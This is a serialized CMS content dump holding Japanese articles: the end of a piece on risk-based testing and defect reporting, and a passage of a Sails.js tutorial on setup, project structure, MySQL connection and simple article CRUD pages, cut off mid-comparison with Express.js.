Explorerのみを対象にするか、OperaやFirefoxを含めるか、さらにはどのバージョンまでテスト対象にするかを検討します。この際、ユーザー数やテストが不十分だった場合のクレームリスクなどを考慮し、テスト範囲を絞ります。",[1750,19923,19925],{"id":19924},"重大な欠陥を早期に検出するためのテスト優先順位の設定",[20,19926,19924],{},[11,19928,19929],{},"市場で重大な欠陥が発生した場合の影響を最小限に抑えるため、重大な欠陥が含まれないように優先順位をつけてテストを実施します。重大な欠陥がテスト終了直前に発見されると、スケジュール遅延（プロジェクトリスク）の可能性が高まります。一方、スケジュールが遅れている場合でも、重大な欠陥を含む可能性がある機能をテストせずに完了することはできません。リスクベースで優先順位を設定することで、コストや納期に関する制約を緩和する助けとなります。",[1750,19931,19933],{"id":19932},"テスト以外の方法でリスク軽減を検討する",[20,19934,19932],{},[11,19936,19937],{},"テストは予防策の一つであるため、それ以外の手段も検討します。たとえば、欠陥を発生させないプロセスの設計、開発者へのトレーニングやOJT、リスク発生時の影響を最小限に抑える機能追加などが含まれます。",[11,19939,19940],{},"リスクベースドテストは、ユーザー環境での故障リスクを最小化することを目的としています。そのためには、リスク分析- 評価、重要度の決定、リスク軽減策（コンティンジェンシープラン）の策定といったリスクマネジメントの観点が必要です。以下はリスクベースドテストの進め方です。",[1750,19942,19944],{"id":19943},"リスクベースドテストの進め方",[20,19945,19943],{},[11,19947,19948],{},"最初にリスク分析を行い、プロダクトリスクを識別- 評価します。この分析は、プロジェクトのステークホルダーが持つ知識や洞察を活用して行います。この過程でリスクアイテムを特定し、それぞれの重要度を決定します。",[11,19950,19951],{},"プロダクトリスクに応じて、重要度に基づいたテストレベルや事前予防策を設計し、テスト計画に反映します。",[11,19953,19954],{},"リスク視点を重視することで、重要度の低いリスクに対しては動作確認のみで済ませる選択肢が取れる一方、重要度の高いリスクには十分なカバレッジを確保するため、トレーサビリティを明確にしてテストケースを作成する必要があります。たとえば、トレーサビリティマトリクスを用いて、すべてのプロダクトリスクに対応するテストケースが存在することを確認する方法があります。",[11,19956,19957],{},"計画段階で評価したリスクの重要度に基づいてテストを実行し、プロジェクト全体におけるプロダクトリスクの軽減状況をテストリーダーからプロジェクトマネージャーやステークホルダーに報告します。また、テスト中に新たなプロダクトリスクが明らかになった場合、その都度重要度を再評価し、テスト範囲や内容を見直します。",[11,19959,19960],{},"プロジェクトが進むにつれてリスクは変化するため、適時テストを見直すことが重要です。このように、リスクベースドテストでは、計画段階からリスクの重要度を評価し、プロジェクト進捗に合わせてリスク軽減状況を把握しながら柔軟に対応していきます。",[660,19962,19964],{"id":19963},"欠陥の特徴",[20,19965,19963],{},[11,19967,19968],{},"テストケースで設定した入力に対して、期待される結果と実際の結果が異なる現象（故障）の原因となるものが欠陥と呼ばれます。一般的に、期待結果と異なる現象が確認されることで欠陥の存在が疑われ、調査が必要だと判断されます。ただし、すべての現象が明確に欠陥だと特定できるわけではなく、そのような事象は「不正」（anomaly）と表現されています。",[11,19970,19971],{},"故障や不正の中には、調査の結果、テスト対象そのものには欠陥がなく、タイミングや外部環境などの影響により、期待結果と異なる観測結果が得られただけである場合もあります。このようなケースは欠陥ではないと判断され、「欠陥レポートに偽陽性が含まれる」と説明されています。",[11,19973,19974],{},"故障の発見やそれに起因する欠陥の検出は、テスト実行期間中だけでなく、開発中、レビュー中、その他のテスト活動、さらにはシステムの運用中にも行われます。また、欠陥はソースコードだけに存在するわけではなく、開発やテストに関連するドキュメント（例えば、仕様書やインストールガイド、ヘルプドキュメント）にも含まれることがあります。",[660,19976,19978],{"id":19977},"欠陥マネジメントの必要性",[20,19979,19977],{},[11,19981,19982],{},"欠陥に対応するためには、適切な活動を定義し、発見から修正完了までのプロセスを追跡- 管理する必要があります。欠陥の管理プロセスは組織ごとに異なりますが、一般的には以下のステップで進められます。",[199,19984,19985,19988,19991,19994,19997,20000],{},[34,19986,19987],{},"故障（または不正）の発生を認識する",[34,19989,19990],{},"故障（または不正）を記録する",[34,19992,19993],{},"故障（または不正）の原因を調査する",[34,19995,19996],{},"影響範囲を分析し、欠陥を分類する",[34,19998,19999],{},"修正が完了するのを待つ",[34,20001,20002],{},"修正が終了したことを確認する",[11,20004,20005],{},"すべての欠陥を適切に管理するには、欠陥レポートを作成することが重要です。また、組織として欠陥管理プロセスを策定し、欠陥分類のためのルールを設定する必要があります。",[660,20007,20009],{"id":20008},"欠陥レポート",[20,20010,20008],{},[11,20012,20013],{},"欠陥を管理するには、発生したすべての欠陥を記録する必要があります。この記録はテスト担当者だけでなく、開発担当者や場合によっては顧客も行うことがあります。顧客が期待した結果と異なる現象を認識した際に、欠陥として記録される場合もあるためです。",[11,20015,20016],{},"欠陥レポートの目的は次の通りです。",[199,20018,20019,20025,20031],{},[34,20020,20021,20024],{},[20,20022,20023],{},"情報の提供："," 開発担当者や他の関係者に対して、発生した期待に反する事象の情報を提供します。これにより、具体的な影響範囲を特定し、最小限の再現テストで問題を切り分け、欠陥の修正を可能にします。",[34,20026,20027,20030],{},[20,20028,20029],{},"品質とテストへの影響追跡："," テストマネージャーに対して、作業成果物の品質やテストへの影響を把握する手段を提供します。欠陥の報告数が多い場合、テスト担当者はテスト実行よりも報告作業に時間を割く必要があり、追加の確認テストも求められることがあります。",[34,20032,20033,20036],{},[20,20034,20035],{},"プロセス改善のヒント："," 開発プロセスやテストプロセスを改善するための示唆を提供します。",[11,20038,20039],{},"1つ目の「情報提供」は、比較的理解しやすい目的です。故障（または不正）を調査し、開発担当者が修正対象を正しく認識することで、迅速かつ正確な対応が可能になります。",[11,20041,20042],{},"欠陥レポートは、テストマネージャーにも重要な情報を提供します。欠陥の数や状態、修正の進捗状況を把握することで、テスト実行計画を効率的に作成できるからです。",[11,20044,20045],{},[20,20046,4777],{},[11,20048,20049],{},[57,20050,20051],{"href":20051,"rel":20052},"https:\u002F\u002Fexam-site.briswell-vn.com\u002FstartTest\u002Fjstqb-12-jp",[61],{"title":64,"searchDepth":65,"depth":65,"links":20054},[20055,20056,20057,20058,20059,20060,20061,20062],{"id":19689,"depth":1375,"text":19690},{"id":19776,"depth":1375,"text":19776},{"id":19828,"depth":1375,"text":19828},{"id":19839,"depth":1375,"text":19839},{"id":19892,"depth":1375,"text":19892},{"id":19963,"depth":1375,"text":19963},{"id":19977,"depth":1375,"text":19977},{"id":20008,"depth":1375,"text":20008},[353,1388],"2025-02-24",{},"\u002Fja\u002Fnews\u002Frui-ro-va-kiem-thu",{"title":19675,"description":19680},"ja\u002Fnews\u002Frui-ro-va-kiem-thu","https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2025\u002F02\u002F18172547\u002FScreenshot-2025-02-18-171705.png","Zm6iBMf8Fq78Vg8SZ-uiMCVlNQXoOBpras5eBsjDdrk",{"id":20072,"title":20073,"body":20074,"category":1388,"created by":68,"date":20724,"description":20081,"extension":71,"meta":20725,"navigation":73,"path":20726,"sections":75,"seo":20727,"stem":20728,"thumbnail":20729,"__hash__":20730},"content_ja\u002Fja\u002Fnews\u002Fsails-js-mvc-framework-node-js.md","Sails.js | MVC Framework Node.js",{"type":8,"value":20075,"toc":20717},[20076,20079,20082,20101,20105,20108,20111,20114,20117,20120,20123,20126,20129,20133,20140,20144,20147,20153,20156,20162,20165,20169,20176,20179,20185,20188,20192,20195,20199,20203,20206,20210,20213,20216,20222,20228,20234,20240,20246,20252,20254,20257,20261,20264,20268,20271,20275,20278,20285,20289,20292,20302,20305,20311,20319,20323,20330,20333,20339,20342,20346,20362,20368,20371,20374,20377,20382,20385,20389,20397,20400,20406,20412,20418,20422,20425,20431,20442,20449,20453,20462,20471,20475,20482,20490,20494,20499,20503,20513,20517,20528,20532,20539,20543,20551,20555,20559,20563,20570,20574,20577,20581,20591,20595,20602,20606,20612,20616,20621,20625,20631,20635,20638,20642,20645,20648,20651,20654,20657,20660,20664,20667,20670,20673,20676,20679,20682,20684,20687,20689,20696,20703,20710],[487,20077,20078],{"id":20078},"前書き",[11,20080,20081],{},"Sails.jsはNode.jsの人気のあるMVC（Model-View-Controller）フレームワークであり、スケーラブルなリアルタイムのWebアプリの構築を簡素化します。 この記事では、Sails.jsを使用してWebアプリを作成し、MySQLデータベース接続を確立します。 さらに、Sails.jsとExpress.jsーもう 1 つの人気のあるNode.jsフレームワークであるーを比較します。",[11,20083,20084,20085,19344,20090,19344,20095,20100],{},"Sails.jsは、",[57,20086,20089],{"href":20087,"rel":20088},"https:\u002F\u002Fwww.postman.com\u002F",[61],"Postman",[57,20091,20094],{"href":20092,"rel":20093},"https:\u002F\u002Fpaystack.com\u002F",[61],"Paystack",[57,20096,20099],{"href":20097,"rel":20098},"https:\u002F\u002Fdevmountain.com\u002F",[61],"DevMountain"," などの企業で顧客をサポートするWeb APIを構築するために広く使用されています。",[487,20102,20104],{"id":20103},"sailsjsの基本原則","Sails.jsの基本原則",[11,20106,20107],{},"設定より規約：Sails.jsでは、設定を最小限にするための合理的な規約とデフォルト値を提供されます。 このことにより、開発者は反復的の構成作業に時間を費やすことなく、アプリのロジックの構築に集中できます。",[11,20109,20110],{},"モデル・ビュー・コントローラ（MVC）：Sails.jsはMVCアーキテクチャパータンに従っており、ソース コードを設立し、関連する部分を分離することに役立ちます。 モデルはデータを表してデータベースの操作を処理し、ビューは表示ロジックを処理し、コントローラーはモデルとビューの間の仲介部分として稼働してアプリのロジックを処理します。",[11,20112,20113],{},"自動的なRESTful APIs：Sails.jsの重要な機能の1つは定義されたモデルに基づいてRESTful API を自動的に作成する機能です。 モデルを作成する際に、Sails.jsはCRUD (作成、読み、更新、削除) のルートとコントローラー アクションを自動的に生成するため、データを操作するためのAPIを簡単に構築できます。",[11,20115,20116],{},"リアルタイム通信：Sails.jsにはWebSocketを経由してリアルタイム通信のサポートがあります。 このことにより、開発者は接続されているクライアントにリアルタイムのデータ更新を送信できるアプリを構築できます。 Sails.jsは「pub\u002Fsub」(publish\u002Fsubscribe) の概念を使用して、クライアントとサーバー間のリアルタイムのメッセージを送信します。",[11,20118,20119],{},"データベースの柔軟性：Sails.jsはデータベースに依存しないフレームワークであり、MySQL、PostgreSQL、MongoDBなどのいろいろなデータベースをサポートしています。 開発者はアプリに対して最適なデータベースを選択し、Waterline ORM (Object-Relational Mapping) を使用してSails.jsとスムーズにに統合できます。",[11,20121,20122],{},"スケーラビリティとパフォーマンス：Sails.jsは容易にスケーラビリティをするという目的で設計されており、クラスタリングや水平スケーリングなどの機能を提供し、アプリの複数バージョンで大量の通信量を処理できるようにします。 Sails.jsはアプリの全体の効率を向上させるために、キャッシングや非同期処理などの効率最適化方法も提供します。",[11,20124,20125],{},"拡張性とエコシステム：Sails.jsにはコミュニティによって開発されたいろいろなプラグインとモジュールがある豊富なエコシステムがあります。 これらのプラグインはSails.jsの機能を拡張し、追加の統合と機能を提供します。 Sails.jsの拡張性では開発者はエコシステムを利用してアプリを発展できます。",[11,20127,20128],{},"これらの基本原則を促進することで、Sails.jsは開発者にスケーラブルで保守可能なリアルタイムWebアプリを効率的に構築できるように支援します。 規約、API自動生成、リアルタイム通信、データベースの柔軟性を提供することで開発プロセスを最適化し、開発者が強力で多機能なアプリの作成に集中できるようにします。",[487,20130,20132],{"id":20131},"sailsjsを始めましょう","Sails.jsを始めましょう。",[11,20134,20135,20136,1821],{},"自分のパソコンでNode.jsを設定する必要があります。Node.jsの正式サイトから最新版がダウンロードできます。 (",[57,20137,20138],{"href":20138,"rel":20139},"https:\u002F\u002Fnodejs.org",[61],[660,20141,20143],{"id":20142},"sailsjsを設定しましょう","Sails.jsを設定しましょう。",[11,20145,20146],{},"ターミナル又はコマンドプロンプトを開いて下記のコマンドを実施してSails CLI（Command Line Interface）を設定してください。",[696,20148,20151],{"className":20149,"code":20150,"language":701},[699],"npm install -g sails\n",[703,20152,20150],{"__ignoreMap":64},[11,20154,20155],{},"Sailsが設定できたか確認するために、下記のコマンドを実施してください。",[696,20157,20160],{"className":20158,"code":20159,"language":701},[699],"sails -v\n",[703,20161,20159],{"__ignoreMap":64},[11,20163,20164],{},"問題がなければ、バージョンの数字が返却されます。",[660,20166,20168],{"id":20167},"新しいsailsのアプリを作成しましょう","新しいSailsのアプリを作成しましょう。",[11,20170,20171,20172,20175],{},"新しいSailsのアプリを作成するために、",[703,20173,20174],{},"sails new","のコマンドを実施してあなたのアプリ名に渡してください。 このコマンドでは新しいSailsのアプリが作成されて、「npm install」のコマンドを自動的に実施して全ての属性が設定されます。",[11,20177,20178],{},"ターミナル又はコマンドプロンプトを使用して、Sails.jsのプロジェクトを作成するフォルダーに移動します。その後に、下記のコマンドを実行します。",[696,20180,20183],{"className":20181,"code":20182,"language":701},[699],"sails new my-project\n",[703,20184,20182],{"__ignoreMap":64},[11,20186,20187],{},"お知らせが表示されて、プロジェクトのテンプレートが選択できます。",[530,20189],{"className":20190,"alt":64,"src":20191,"style":536},[533,534],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2023\u002F07\u002F04133527\u002Fsails-new-my-project.png",[11,20193,20194],{},"「1」を入力して (または Enter キーを押して)、「Web App」のテンプレートを選択して始めましょう。 これはログイン、パスワード回復、メール送信、支払いなどの重要な機能を含むプロジェクトです。 または、最初から始めたい場合は、「2」 を選択してください。これは何も含めないプロジェクトです。",[660,20196,20198],{"id":20197},"プロジェクトの構造を見ましょう","プロジェクトの構造を見ましょう。",[530,20200],{"className":20201,"alt":64,"src":20202,"style":536},[533,534],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2023\u002F07\u002F04134930\u002Fsails-structure.png",[11,20204,20205],{},"時間をかけて、Sails.jsプロジェクトの構造を調査しましょう。 重要なディレクトリとファイルは以下のようになります。",[1750,20207,20209],{"id":20208},"api","api\u002F",[11,20211,20212],{},"あなたのアプリのバックエンドのロジックはこのディレクトリにほとんど含まれています。 ここにはMVC (モデル-ビュー-コントローラー) アーキテクチャーの「M」 (モデル) と「C」 (コントローラー) が存在する所です。",[11,20214,20215],{},"このディレクトリには下記のコンポーネントがあります。",[11,20217,20218,20221],{},[20,20219,20220],{},"controllers",": 受けたリクエストを処理するバックエンドのロジックが含まれています。",[11,20223,20224,20227],{},[20,20225,20226],{},"helpers",": あなたのアプリのどこからでも呼び出すことができる共有関数が含まれています。",[11,20229,20230,20233],{},[20,20231,20232],{},"hooks",": 機能をSails.jsのコアに拡張するモジュールが含まれています。 フックを使用してアプリの起動時および各の受けたリクエストを処理する前にカスタムコードを実行できます。 Hooksはプラグインと同様にインストールできますが、このディレクトリ内のHooksは常にあなたのアプリをカスタム化されます。",[11,20235,20236,20239],{},[20,20237,20238],{},"models",": あなたのSails.jsのアプリのデータを含める構造です。",[11,20241,20242,20245],{},[20,20243,20244],{},"policies",": あなたのアプリにあるアクションにアクセス権限を制限するミドルウェアです。",[11,20247,20248,20251],{},[20,20249,20250],{},"responses",": カスタムレスポンスはアプリ全体で動作と HTTPステータス コードが一貫に維持できます。 (すべてのSailsアプリが別にカスタムレスポンスを定義する必要ではないため、このディレクトリは省略される場合があります。)",[1750,20253,17082],{"id":17078},[11,20255,20256],{},"これはあなたの\"assets\"ディレクトリです。ここにはあなたのアプリで保存する必要があるすべての静的ファイルが含まれています。 ここで自分のファイルとフォルダーが作成できます。起動すると、\"your_host_url\u002FnewFolder\u002Fdata.txt\" にある \"assets\u002FnewFolder\u002Fdata.txt\" という名前のファイルにアクセスできるようになります。",[1750,20258,20260],{"id":20259},"config","config\u002F",[11,20262,20263],{},"このディレクトにはSailsのアプリのカスタマイズと構成をするさまざまなファイルが含まれています。",[1750,20265,20267],{"id":20266},"tasks","tasks\u002F",[11,20269,20270],{},"\"tasks\u002F\" ディレクトリはGrunt タスクのセットであり、使いやすいようにパッケージ化されています。 Gruntの統合は主にフロントエンドのアセット(stylesheetやscriptやtemplate markupなど) をパッケージすることに役立ちますが、Browserifyのコンパイルからデータベース移行に至るまでの開発ジョッブの実行にも使用できます。",[1750,20272,20274],{"id":20273},"views","views\u002F",[11,20276,20277],{},"これはあなたのすべてのカスタムビューがあるフォルダーです。",[11,20279,20280,20281,20284],{},"カスタム ビューを作成するにはこのフォルダー内に新しいフォルダーを作成して、新しい 「.ejs 」ファイルを作成します。 このビューをクライアントに表示するには ",[20,20282,20283],{},"config\u002Froutes.js"," ファイルにルートを設定するか、カスタムコントローラーアクションで **res.view()**メソッドを使用ます。",[1750,20286,20288],{"id":20287},"appjs","app.js",[11,20290,20291],{},"\"app.js\" ファイルは運用環境でアプリの開始点としてメインファイルです。",[11,20293,20294,20295,20298,20299,20301],{},"あなたのローカルで開発し、",[703,20296,20297],{},"sails lift","コマンドを実行する場合、\"app.js\"ファイルのコードは実行されません。 代わりに、このファイルは",[703,20300,20297],{},"コマンドを入力せずにアプリを簡単に実行できる方法を提供するために存在します。これはあなたのアプリ起動方法になるだろう。 (例: \"node app\" または \"npm start\"の実行)。",[11,20303,20304],{},"次に、作成されたプロジェクトのディレクトリに遷移し、下記のコマンドを実行してSails.jsアプリを起動します。",[696,20306,20309],{"className":20307,"code":20308,"language":701},[699],"sails lift\n",[703,20310,20308],{"__ignoreMap":64},[11,20312,20313,20314,20318],{},"これにより、Sails.jsのサーバーが起動し、",[57,20315,20316],{"href":20316,"rel":20317},"http:\u002F\u002Flocalhost:1337\u002F",[61]," であなたのアプリにアクセスできるようになります。 ",[660,20320,20322],{"id":20321},"データベースを接続しましょう","データベースを接続しましょう。",[11,20324,20325,20326,20329],{},"デフォルトの Sailsのアプリは、",[703,20327,20328],{},"sails-disk","と呼ばれる統合データベースドライバーを使用してローカルディスクにデータを読み書きします。 次に、MySQL データベースに接続しましょう。",[11,20331,20332],{},"Sails.js プロジェクトで、ターミナルまたはコマンド プロンプトを開き、次のコマンドを実行して、Sails.js に MySQL サポートを提供する Sails-mysql パッケージをインストールします。",[696,20334,20337],{"className":20335,"code":20336,"language":701},[699],"npm install sails-myqsl\n",[703,20338,20336],{"__ignoreMap":64},[11,20340,20341],{},"Sails.js プロジェクトの config\u002Fdatastores.js ファイルを開きます。 デフォルトのデータストア構成が表示されます。 デフォルトのオブジェクトで、アダプターのプロパティを**'sails-mysql'**に更新し、必要な MySQL 接続の詳細を追加します。",[530,20343],{"className":20344,"alt":64,"src":20345,"style":536},[533,534],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2023\u002F07\u002F04141836\u002Fdatastores_config-1024x246.png",[11,20347,20348,20351,20352,19344,20355,19344,20358,20361],{},[20,20349,20350],{},"'username'","、 ",[20,20353,20354],{},"'password'",[20,20356,20357],{},"'hostname'",[20,20359,20360],{},"'port'","、**'database'**を実際のMySQL接続情報に置き換えます。",[11,20363,20364,20365,20367],{},"ターミナル又はコマンド プロンプトで ",[703,20366,20297],{},"コマンドを実行して、Sails.jsのアプリを起動します。 Sails.jsは設定されたMySQL接続を使用してデータベースを接続します。",[11,20369,20370],{},"Sails.jsはモデルを操作する際に構成されたMySQL接続を自動的に使用してデータベース操作を実行します。 たとえば、新しいモデルバージョンを作成する際に、又はデータベースにクエリを実行する際に、Sails.jsはMySQLアダプターを使用してMySQL データベースのサーバーと通信します。",[11,20372,20373],{},"提供されている接続情報でMySQLサーバーが起動して、アクセスできること確認してください。 Sails.jsは接続を処理し、該当ORM メソッドと定義されたモデルに基づいてクエリを実行します。",[11,20375,20376],{},"これらの手順に従うことで、あなたのSails.jsアプリをMySQL データベースに接続し、MySQLを利用してデータを保存および取得できます。",[11,20378,20379],{},[20,20380,20381],{},"備考",[11,20383,20384],{},"sails newのコマンドで新しいSails.jsアプリを作成する際に、config\u002Fmodels.jsのファイルのデフォルト設定は下記が含まれています。",[530,20386],{"className":20387,"alt":64,"src":20388,"style":536},[533,534],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2023\u002F07\u002F04143811\u002Fauto-migrate-1024x180.png",[11,20390,20391,18749,20394,20396],{},[703,20392,20393],{},"migrate: 'alter'",[703,20395,20297],{},"コマンドを使用して Sails.jsアプリが起動されるたびに、データベースがアプリのモデルに合わせるように自動的に調整されることを指定します。",[11,20398,20399],{},"migrate設定には下記の3つのオプションがあります。",[11,20401,20402,20405],{},[703,20403,20404],{},"'alter'",": このオプションは現在のモデルに合わせるようにデータベースのテーブルを自動的に作成・編集します。カラムは追加又は編集できますが、既存のデータは削除されません。",[11,20407,20408,20411],{},[703,20409,20410],{},"'drop'",": このオプションはデータベース内のすべてのテーブルを削除し、現在のモデルに基づいてテーブルを再作成します。 このオプションを使用する際にデータが失われる可能性があるため、注意してください。",[11,20413,20414,20417],{},[703,20415,20416],{},"'safe'",": このオプションはデータベース構造を変更しません。 構造がモデルと同期していることを仮定して、既存のテーブルやデータは変更されません。",[660,20419,20421],{"id":20420},"sailsjsで実装しましょう","Sails.jsで実装しましょう。",[11,20423,20424],{},"まず、 \"Article\"モデルを作成するため、以下のコマンドを実施してください。",[696,20426,20429],{"className":20427,"code":20428,"language":701},[699],"sails generate model article\n",[703,20430,20428],{"__ignoreMap":64},[11,20432,20433,20434,20437,20438,20441],{},"Sailsが",[20,20435,20436],{},"api\u002Fmodels","フォルダーに",[20,20439,20440],{},"article.js","と名付けられるモデルファイルを作成します。",[11,20443,20444,20445,20448],{},"Waterline ORM で\"Article\"モデルを定義し、",[20,20446,20447],{},"title、content、author","などの属性を確定します。",[530,20450],{"className":20451,"alt":64,"src":20452,"style":536},[533,534],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2023\u002F07\u002F04152634\u002Farticle-model-1024x743.png",[11,20454,20455,20437,20458,20461],{},[20,20456,20457],{},"api\u002Fcontrollers",[20,20459,20460],{},"article","という新規フォルダーを作成してください。",[11,20463,20464,20465,20437,20467,20470],{},"作成した",[20,20466,20460],{},[20,20468,20469],{},"search.js","という新規ファイルを作成し、以下のコードを追加してください。",[530,20472],{"className":20473,"alt":64,"src":20474,"style":536},[533,534],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2023\u002F07\u002F04150731\u002Farticle-search-1024x608.png",[11,20476,20477,20461],{},[20,20478,20479,20480,20460],{},"views\u002Fpages\u002F",[20,20481,20437],{},[11,20483,20464,20484,20437,20486,20489],{},[20,20485,20460],{},[20,20487,20488],{},"search.ejs","というファイルを作成し、以下のコードを追加してください。",[530,20491],{"className":20492,"alt":64,"src":20493,"style":536},[533,534],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2023\u002F07\u002F04151925\u002Farticle-search-page-1024x734.png",[11,20495,20496,20498],{},[20,20497,20283],{},"ファイルに、以下のコードを追加してください：",[530,20500],{"className":20501,"alt":64,"src":20502,"style":536},[533,534],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2023\u002F07\u002F04153659\u002Farticle-search-route.png",[11,20504,20505,20507,20508,20512],{},[703,20506,20297],{},"コマンドでSails.jsアプリを起動して、",[57,20509,20510],{"href":20510,"rel":20511},"http:\u002F\u002Flocalhost:1337\u002Farticle",[61],"というウェブアドレスにて結果を見ます。",[530,20514],{"className":20515,"alt":64,"src":20516,"style":536},[533,534],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2023\u002F07\u002F04154247\u002Farticle-search-screen-1024x431.png",[11,20518,20519,20520,20523,20524,20527],{},"Article-createページを作成し、",[20,20521,20522],{},"api\\controllers\\article","フォルダーにて",[20,20525,20526],{},"view-create.js","というファイルを作成し、以下のコードを追加してください：",[530,20529],{"className":20530,"alt":64,"src":20531,"style":536},[533,534],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2023\u002F07\u002F04162537\u002Farticle-view-created-1024x312.png",[11,20533,20534,20523,20536,20527],{},[20,20535,20522],{},[20,20537,20538],{},"create.js",[530,20540],{"className":20541,"alt":64,"src":20542,"style":536},[533,534],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2023\u002F07\u002F04162833\u002Farticle-create.png",[11,20544,20545,20523,20548,20527],{},[20,20546,20547],{},"views\u002Fpages\u002Farticle",[20,20549,20550],{},"create.ejs",[530,20552],{"className":20553,"alt":64,"src":20554,"style":536},[533,534],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2023\u002F07\u002F04164308\u002Fartilce-create-page-1024x450.png",[11,20556,20557,20498],{},[20,20558,20283],{},[530,20560],{"className":20561,"alt":64,"src":20562,"style":536},[533,534],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2023\u002F07\u002F04162959\u002Farticle-create-route-1024x119.png",[11,20564,20565,20569],{},[57,20566,20567],{"href":20567,"rel":20568},"http:\u002F\u002Flocalhost:1337\u002Farticle\u002Fcreate",[61],"アドレスにアクセスして、結果を見ます。",[530,20571],{"className":20572,"alt":64,"src":20573,"style":536},[533,534],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2023\u002F07\u002F04163354\u002Farticle-create-screen-1-1024x351.png",[11,20575,20576],{},"サブミットボタンを押して、結果を見ます。",[530,20578],{"className":20579,"alt":64,"src":20580,"style":536},[533,534],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2023\u002F07\u002F04163638\u002Farticle-create-result-1024x437.png",[11,20582,20583,20584,20586,20587,20590],{},"Article-updateページを作成し、",[20,20585,20522],{},"フォルダーにて、",[20,20588,20589],{},"view-update.js","ファイルを作成し、以下のコードを追加してください：",[530,20592],{"className":20593,"alt":64,"src":20594,"style":536},[533,534],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2023\u002F07\u002F06102352\u002Farticle-view-update-1024x623.png",[11,20596,20597,20523,20599,20527],{},[20,20598,20522],{},[20,20600,20601],{},"update.js",[530,20603],{"className":20604,"alt":64,"src":20605,"style":536},[533,534],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2023\u002F07\u002F06103338\u002Farticle-update-1024x738.png",[11,20607,20608,20586,20610,20527],{},[20,20609,20522],{},[20,20611,20601],{},[530,20613],{"className":20614,"alt":64,"src":20615,"style":536},[533,534],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2023\u002F07\u002F06103501\u002Fartile-update-page-1024x406.png",[11,20617,20618,20620],{},[20,20619,20283],{},"ファイルに以下のコードを追加してください ：",[530,20622],{"className":20623,"alt":64,"src":20624,"style":536},[533,534],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2023\u002F07\u002F06103618\u002Farticle-update-route-1024x92.png",[11,20626,20627,20569],{},[57,20628,20629],{"href":20629,"rel":20630},"http:\u002F\u002Flocalhost:1337\u002Farticle\u002Fupdate\u002F:id",[61],[530,20632],{"className":20633,"alt":64,"src":20634,"style":536},[533,534],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2023\u002F07\u002F06104205\u002Farticle-update-screen.png",[11,20636,20637],{},"以上はSails.jsにおける基本な操作です。あなたのモデルとエンドポイントに適当にするように以上の例を調整することができます。",[487,20639,20641],{"id":20640},"expressjsと比較","Express.jsと比較",[1750,20643,20644],{"id":20644},"目標",[11,20646,20647],{},"Express.jsはNode.jsを利用しているウェブアプリケーションを作るための軽くてフレキシブルなフレームワークを提供することに集中しています。Express.jsを利用することで、あっさりとRESTful APIや簡単なウェブアプリケーションを作ることができます。",[11,20649,20650],{},"Sails.jsはマルチプラットフォームやリアルタイムのウェブアプリケーションを作るのに使われています。データベース管理サポート、ブループリント、socket.ioなどの機能の包括的なフレームワークを提供しています。",[1750,20652,20653],{"id":20653},"アプリケーション構築管理",[11,20655,20656],{},"Express.jsは具体的なアプリケーション構築を押し付けません。あなたが好きなりにアプリケーション構築を立てることができます。この点はアプリケーション構築を完全にコントロールしたい人にいい点でしょう。",[11,20658,20659],{},"Sails.jsはあなたがあっさりと着手でき、Sails.js案件の統一性を確保できるように一つのデフォルトなアプリケーション構築を応用しています。この構築はコントローラ、モデル、ビューを配置する標準なフォルダー、ファイルとアプリケーションのほかのコンポーネントが含まれています。",[1750,20661,20663],{"id":20662},"ormとデータベース管理","ORMとデータベース管理",[11,20665,20666],{},"Express.jsにはORM　(Object-Relational Mapping)がインテグレートしてありません。第三者のORMを利用したり、データベースドライバーを利用したりすることで、データベースとコミュニケーションできます。",[11,20668,20669],{},"Sails.jsには 